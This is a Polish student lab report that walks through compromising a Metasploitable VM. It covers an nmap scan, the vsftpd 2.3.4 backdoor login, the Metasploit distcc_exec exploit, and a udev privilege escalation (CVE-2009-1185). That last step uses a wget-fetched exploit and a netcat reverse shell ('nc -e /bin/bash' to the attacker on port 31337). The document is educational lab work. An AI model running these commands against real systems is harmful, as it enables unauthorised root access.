Politechnika Wrocławska, Informatyka Stosowana

Wykorzystanie podatności

Cyberbezpieczeństwo, Laboratorium nr.12 - raport

Autor: Aleksander Stepaniuk
Nr. Indeksu: 272644

4. Pytania

Pytanie 1;

Reverse shell to technika ataku pozwalająca przejąć kontrolę nad zainfekowanym systemem. Polega na tym, że zainfekowany system nawiązuje połączenie z serwerem atakującego otwierając zdalny dostęp do swojej powłoki shell. W przeciwieństwie do standardowego shella, gdzie atakujący łączy się z ofiarą, tutaj to ofiara inicjuje połączenie wychodzące co pomaga ominąć zapory i inne mechanizmy zabezpieczające. Wykorzystuje się to do przesłania szkodliwego oprogramowania na maszynę ofiary.

Pytanie 2;

Nadanie odpowiednich uprawnień użytkownikom jest kluczowe dla bezpieczeństwa, ponieważ minimalizujemy wtedy szkody jakie zostaną wyrządzone jeśli usługa zostanie przejęta – potencjalny napastnik będzie miał dostęp tylko do zasobów, do których ma uprawnienia dane konto (konta z niskimi uprawnieniami nie mają dostępu do wrażliwych plików i konfiguracji systemu). Dodatkowo kiedy każda usługa działa w swoim środowisku z minimalnymi uprawnieniami, zapobiegamy wtedy eskalacji uprawnień i dalszej propagacji ataku.

Warto trzymać się zasady najmniejszych uprawnień (PoLP) - każdy użytkownik lub proces ma dostęp tylko do tych zasobów, które są niezbędne do ich działania. Przykładowo jeśli serwer WWW działa na koncie bez uprawnień administracyjnych, atakujący, który wykorzysta lukę w oprogramowaniu, nie będzie mógł przejąć kontroli nad całym systemem.

5. Zadania

Zadanie 0;

Adresy IP maszyn:
Metasploitable: 172.16.96.5
Kali linux: 172.16.96.8
Adres sieci: 172.16.96.0/24

Zadanie 1;

```
┌──(stud㉿kali-vm)-[~]
└─$ nmap -p1-65535 -A 172.16.96.5
Starting Nmap 7.95 ( https://nmap.org ) at 2025-01-13 01:44 CET
Nmap scan report for 172.16.96.5
Host is up (0.0076s latency).
Not shown: 65505 closed tcp ports (reset)
PORT      STATE SERVICE     VERSION
21/tcp    open  ftp         vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to 172.16.96.8
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      vsFTPd 2.3.4 - secure, fast, stable
|_End of status
22/tcp    open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey:
|   1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
|_  2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
23/tcp    open  telnet      Linux telnetd
25/tcp    open  smtp        Postfix smtpd
23/tcp    open  telnet      Linux telnetd
25/tcp    open  smtp        Postfix smtpd
| ssl-cert: Subject: commonName=ubuntu804-base.localdomain/organizationName=O
COSA/stateOrProvinceName=There is no such thing outside US/countryName=XX
| Not valid before: 2010-03-17T14:07:45
|_Not valid after:  2010-04-16T14:07:45
|_smtp-commands: metasploitable.localdomain, PIPELINING, SIZE 10240000, VRFY,
 ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN
|_ssl-date: 2025-01-13T00:47:40+00:00; -10s from scanner time.
| sslv2:
|   SSLv2 supported
|   ciphers:
|     SSL2_RC2_128_CBC_EXPORT40_WITH_MD5
|     SSL2_RC2_128_CBC_WITH_MD5
|     SSL2_DES_64_CBC_WITH_MD5
|     SSL2_RC4_128_EXPORT40_WITH_MD5
|     SSL2_DES_192_EDE3_CBC_WITH_MD5
|_    SSL2_RC4_128_WITH_MD5
53/tcp    open  domain      ISC BIND 9.4.2
| dns-nsid:
|_  bind.version: 9.4.2
80/tcp    open  http        Apache httpd 2.2.8 ((Ubuntu) DAV/2)
|_http-title: Metasploitable2 - Linux
|_http-server-header: Apache/2.2.8 (Ubuntu) DAV/2
111/tcp   open  rpcbind     2 (RPC #100000)
| rpcinfo:
|   program version    port/proto  service
```

```
|   100003  2,3,4       2049/tcp   nfs
|   100003  2,3,4       2049/udp   nfs
|   100005  1,2,3      37581/tcp   mountd
|   100005  1,2,3      60644/udp   mountd
|   100021  1,3,4      52026/tcp   nlockmgr
|   100021  1,3,4      57409/udp   nlockmgr
|   100024  1          49808/udp   status
|_  100024  1          54168/tcp   status
139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
512/tcp   open  exec        netkit-rsh rexecd
513/tcp   open  login       OpenBSD or Solaris rlogind
514/tcp   open  tcpwrapped
1099/tcp  open  java-rmi    GNU Classpath grmiregistry
1524/tcp  open  bindshell   Metasploitable root shell
2049/tcp  open  nfs         2-4 (RPC #100003)
2121/tcp  open  ftp         ProFTPD 1.3.1
3306/tcp  open  mysql       MySQL 5.0.51a-3ubuntu5
| mysql-info:
|   Protocol: 10
|   Version: 5.0.51a-3ubuntu5
|   Thread ID: 8
|   Capabilities flags: 43564
|   Some Capabilities: Support41Auth, LongColumnFlag, ConnectWithDatabase, Su
pportsTransactions, SupportsCompression, SwitchToSSLAfterHandshake, Speaks41P
rotocolNew
|   Status: Autocommit
```

```
rotocolNew
|   Status: Autocommit
|_  Salt: O:oDGs03NpjDRNsuui2X
3632/tcp  open  distccd     distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
5432/tcp  open  postgresql  PostgreSQL DB 8.3.0 - 8.3.7
| ssl-cert: Subject: commonName=ubuntu804-base.localdomain/organizationName=O
COSA/stateOrProvinceName=There is no such thing outside US/countryName=XX
| Not valid before: 2010-03-17T14:07:45
|_Not valid after:  2010-04-16T14:07:45
|_ssl-date: 2025-01-13T00:47:40+00:00; -9s from scanner time.
5900/tcp  open  vnc         VNC (protocol 3.3)
| vnc-info:
|   Protocol version: 3.3
|   Security types:
|_    VNC Authentication (2)
6000/tcp  open  X11         (access denied)
6667/tcp  open  irc         UnrealIRCd
| irc-info:
|   users: 1
|   servers: 1
|   lusers: 1
|   lservers: 0
|   server: irc.Metasploitable.LAN
|   version: Unreal3.2.8.1. irc.Metasploitable.LAN
|   uptime: 0 days, 0:10:55
|   source ident: nmap
|   source host: 113BFCF6.70F3DAAE.168799A3.IP
```

```
|   source host: 113BFCF6.70F3DAAE.168799A3.IP
|_  error: Closing Link: gtbcuisbk[172.16.96.8] (Quit: gtbcuisbk)
6697/tcp  open  irc         UnrealIRCd
| irc-info:
|   users: 1
|   servers: 1
|   lusers: 1
|   lservers: 0
|   server: irc.Metasploitable.LAN
|   version: Unreal3.2.8.1. irc.Metasploitable.LAN
|   uptime: 0 days, 0:10:49
|   source ident: nmap
|   source host: 113BFCF6.70F3DAAE.168799A3.IP
|_  error: Closing Link: pwmzvtzqs[172.16.96.8] (Quit: pwmzvtzqs)
8009/tcp  open  ajp13       Apache Jserv (Protocol v1.3)
|_ajp-methods: Failed to get a valid response for the OPTION request
8180/tcp  open  http        Apache Tomcat/Coyote JSP engine 1.1
|_http-title: Apache Tomcat/5.5
|_http-server-header: Apache-Coyote/1.1
|_http-favicon: Apache Tomcat
8787/tcp  open  drb         Ruby DRb RMI (Ruby 1.8; path /usr/lib/ruby/1.8/dr
b)
37581/tcp open  mountd      1-3 (RPC #100005)
52026/tcp open  nlockmgr    1-4 (RPC #100021)
54168/tcp open  status      1 (RPC #100024)
54477/tcp open  java-rmi    GNU Classpath grmiregistry
MAC Address: 08:00:27:65:07:08 (PCS Systemtechnik/Oracle VirtualBox virtual N

: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: mean: 1h14m50s, deviation: 2h30m01s, median: -10s
| smb-os-discovery:
|   OS: Unix (Samba 3.0.20-Debian)
|   Computer name: metasploitable
|   NetBIOS computer name:
|   Domain name: localdomain
|   FQDN: metasploitable.localdomain
|_  System time: 2025-01-12T19:47:27-05:00
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_nbstat: NetBIOS name: METASPLOITABLE, NetBIOS user: <unknown>, NetBIOS MAC:
 <unknown> (unknown)
|_smb2-time: Protocol negotiation failed (SMB2)

TRACEROUTE
HOP RTT     ADDRESS
1   7.58 ms 172.16.96.5

OS and Service detection performed. Please report any incorrect results at ht
tps://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 208.67 seconds
```

Zadanie 2;

Usługa vsftd w wersji 2.3.4. posiada podatność CVE-2011-2523, gdzie po zalogowaniu się do serwera dowolnym loginem zakończonym na „:)” i dowolnym hasłem otwiera się port 6200.

Zadania 3-7;

Pierwsze skanowanie portu 6200 - closed

```
┌──(stud㉿kali-vm)-[~]
└─$ nmap -p 6200 172.16.96.5
Starting Nmap 7.95 ( https://nmap.org ) at 2025-01-13 02:01 CET
Nmap scan report for 172.16.96.5
Host is up (0.00044s latency).

PORT     STATE  SERVICE
6200/tcp closed lm-x
MAC Address: 08:00:27:65:07:08 (PCS Systemtechnik/Oracle VirtualBox virtual N
IC)

Nmap done: 1 IP address (1 host up) scanned in 0.18 seconds
```

```
┌──(stud㉿kali-vm)-[~]
└─$ nc 172.16.96.5 21
220 (vsFTPd 2.3.4)
USER user:)
331 Please specify the password.
PASS pass
```

Ponowne skanowanie portu 6200 – port zmienił stan z closed na open

```
┌──(stud㉿kali-vm)-[~]
└─$ nmap -p 6200 172.16.96.5
Starting Nmap 7.95 ( https://nmap.org ) at 2025-01-13 02:04 CET
Nmap scan report for 172.16.96.5
Host is up (0.00045s latency).

PORT     STATE SERVICE
6200/tcp open  lm-x
MAC Address: 08:00:27:65:07:08 (PCS Systemtechnik/Oracle VirtualBox virtual N
IC)

Nmap done: 1 IP address (1 host up) scanned in 0.14 seconds
```

Teraz po wpisaniu komendy whoami; widzimy że wyświetla się root.

```
┌──(stud㉿kali-vm)-[~]
└─$ nc 172.16.96.5 6200
whoami;
root
id;
uid=0(root) gid=0(root)
ls;
bin
boot
cdrom
dev
etc
```

Zadania 8-21;

Usługa distccd to serwer pozwalający na kompilowanie kodu napisanego w C lub C++ na kilku komputerach w sieci. Domyślnie ta usługa jest uruchomiona na porcie 3632.

```
┌──(stud㉿kali-vm)-[~]
└─$ nmap -p 3632 172.16.96.5 -A
Starting Nmap 7.95 ( https://nmap.org ) at 2025-01-13 02:10 CET
Nmap scan report for 172.16.96.5
Host is up (0.0039s latency).

PORT     STATE SERVICE VERSION
3632/tcp open  distccd distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
MAC Address: 08:00:27:65:07:08 (PCS Systemtechnik/Oracle VirtualBox virtual N
IC)
Warning: OSScan results may be unreliable because we could not find at least
1 open and 1 closed port
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.33
Network Distance: 1 hop

TRACEROUTE
HOP RTT     ADDRESS
1   3.88 ms 172.16.96.5

OS and Service detection performed. Please report any incorrect results at ht
tps://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.62 seconds
```

```
msf6 > search distccd

Matching Modules
================

   #  Name                            Disclosure Date  Rank       Check  Description
   -  ----                            ---------------  ----       -----  -----------
   0  exploit/unix/misc/distcc_exec   2002-02-01       excellent  Yes    DistCC Daemon Co
mmand Execution


Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/m
isc/distcc_exec
```

```
msf6 exploit(unix/misc/distcc_exec) > show payloads

Compatible Payloads
===================

   #   Name                                      Disclosure Date  Rank    Check  Descr
iption
   -   ----                                      ---------------  ----    -----  -----
------
   0   payload/cmd/unix/adduser                  .                normal  No     Add u
ser with useradd
   1   payload/cmd/unix/bind_perl                .                normal  No     Unix
Command Shell, Bind TCP (via Perl)
   2   payload/cmd/unix/bind_perl_ipv6           .                normal  No     Unix
Command Shell, Bind TCP (via perl) IPv6
   3   payload/cmd/unix/bind_ruby                .                normal  No     Unix
Command Shell, Bind TCP (via Ruby)
   4   payload/cmd/unix/bind_ruby_ipv6           .                normal  No     Unix
Command Shell, Bind TCP (via Ruby) IPv6
   5   payload/cmd/unix/generic                  .                normal  No     Unix
Command, Generic Command Execution
   6   payload/cmd/unix/reverse                  .                normal  No     Unix
Command Shell, Double Reverse TCP (telnet)
   7   payload/cmd/unix/reverse_bash             .                normal  No     Unix
Command Shell, Reverse TCP (/dev/tcp)
   8   payload/cmd/unix/reverse_bash_telnet_ssl  .                normal  No     Unix
Command Shell, Reverse TCP SSL (telnet)
```

```
msf6 exploit(unix/misc/distcc_exec) > set payload cmd/unix/bind_ruby
payload ⇒ cmd/unix/bind_ruby
msf6 exploit(unix/misc/distcc_exec) >
```

```
msf6 exploit(unix/misc/distcc_exec) > show options

Module options (exploit/unix/misc/distcc_exec):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   CHOST                     no        The local client address
   CPORT                     no        The local client port
   Proxies                   no        A proxy chain of format type:host:port[,type:ho
                                       st:port][ ... ]
   RHOSTS                    yes       The target host(s), see https://docs.metasploit
                                       .com/docs/using-metasploit/basics/using-metaspl
                                       oit.html
   RPORT    3632             yes       The target port (TCP)


Payload options (cmd/unix/bind_ruby):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LPORT  4444             yes       The listen port
   RHOST                   no        The target address


Exploit target:
```

```
msf6 exploit(unix/misc/distcc_exec) > set RHOST 172.16.96.5
RHOST ⇒ 172.16.96.5
msf6 exploit(unix/misc/distcc_exec) > exploit

[*] Started bind TCP handler against 172.16.96.5:4444
[*] Command shell session 1 opened (172.16.96.8:44611 → 172.16.96.5:4444) at 2025-01-13
 02:16:40 +0100

whoami;
daemon
ls;
4883.jsvc_up
id;
uid=1(daemon) gid=1(daemon) groups=1(daemon)
```

```
uname -r;
2.6.24-16-server
```

Wykorzystamy podatność o identyfikatorze CVE-2009-1185, która pozwala na uzyskanie prawa administratora (roota) poprzez zainfekowany plik, który uruchomi konkretny port na maszynie.

```
┌──(stud㉿kali-vm)-[~/exchange]
└─$ systemctl start apache2.service

┌──(stud㉿kali-vm)-[~/exchange]
└─$ systemctl status apache2.service
● apache2.service - The Apache HTTP Server
     Loaded: loaded (/usr/lib/systemd/system/apache2.service; enabled; prese>
     Active: active (running) since Mon 2025-01-13 01:35:00 CET; 50min ago
       Docs: https://httpd.apache.org/docs/2.4/
    Process: 773 ExecStart=/usr/sbin/apachectl start (code=exited, status=0/>
    Process: 6490 ExecReload=/usr/sbin/apachectl graceful (code=exited, stat>
   Main PID: 820 (apache2)
      Tasks: 6 (limit: 4610)
```

Uruchamiamy usługę Apache2 w Kali oraz kopiujemy ówcześnie pobrany zainfekowany plik do /var/www/html/

```
┌──(stud㉿kali-vm)-[~/exchange]
└─$ ls
8572.c  lab6  lab7  test.txt

┌──(stud㉿kali-vm)-[~/exchange]
└─$ sudo mv 8572.c /var/www/html

┌──(stud㉿kali-vm)-[~/exchange]
└─$ cd /var/www/html

┌──(stud㉿kali-vm)-[/var/www/html]
└─$ ls
8572.c  index.html  index.nginx-debian.html

┌──(stud㉿kali-vm)-[/var/www/html]
└─$
```

```
wget 172.16.96.8/8572.c
gcc 8572.c -o exploit;
```

```
cat /proc/net/netlink;
sk       Eth Pid    Groups   Rmem     Wmem     Dump     Locks
f7c4d800 0   0      00000000 0        0        00000000 2
df982a00 4   0      00000000 0        0        00000000 2
f7f6e000 7   0      00000000 0        0        00000000 2
f7ca4c00 9   0      00000000 0        0        00000000 2
f7c8ac00 10  0      00000000 0        0        00000000 2
f7c4dc00 15  0      00000000 0        0        00000000 2
df810800 15  2618   00000001 0        0        00000000 2
f7c78800 16  0      00000000 0        0        00000000 2
df87b000 18  0      00000000 0        0        00000000 2
```

Widzimy że Pid tego procesu wynosi 2618.

Tworzymy plik run:

```
echo '#!/bin/bash' > run
echo '/bin/netcat -e /bin/bash 172.16.96.8 31337' >> run
ls
4883.jsvc_up
8572.c
exploit
run
```

```
┌──(stud㉿kali-vm)-[/var/www/html]
└─$ nc -vv -l -p 31337
listening on [any] 31337 ...
```

I uruchamiamy exploit:

```
./exploit 2618
```

Atak zakończył się pomyślnie – mamy uprawnienia roota na maszynie ofiary.

```
┌──(stud㉿kali-vm)-[/var/www/html]
└─$ nc -vv -l -p 31337
listening on [any] 31337 ...
172.16.96.5: inverse host lookup failed: Unknown host
connect to [172.16.96.8] from (UNKNOWN) [172.16.96.5] 59609
whoami
root
```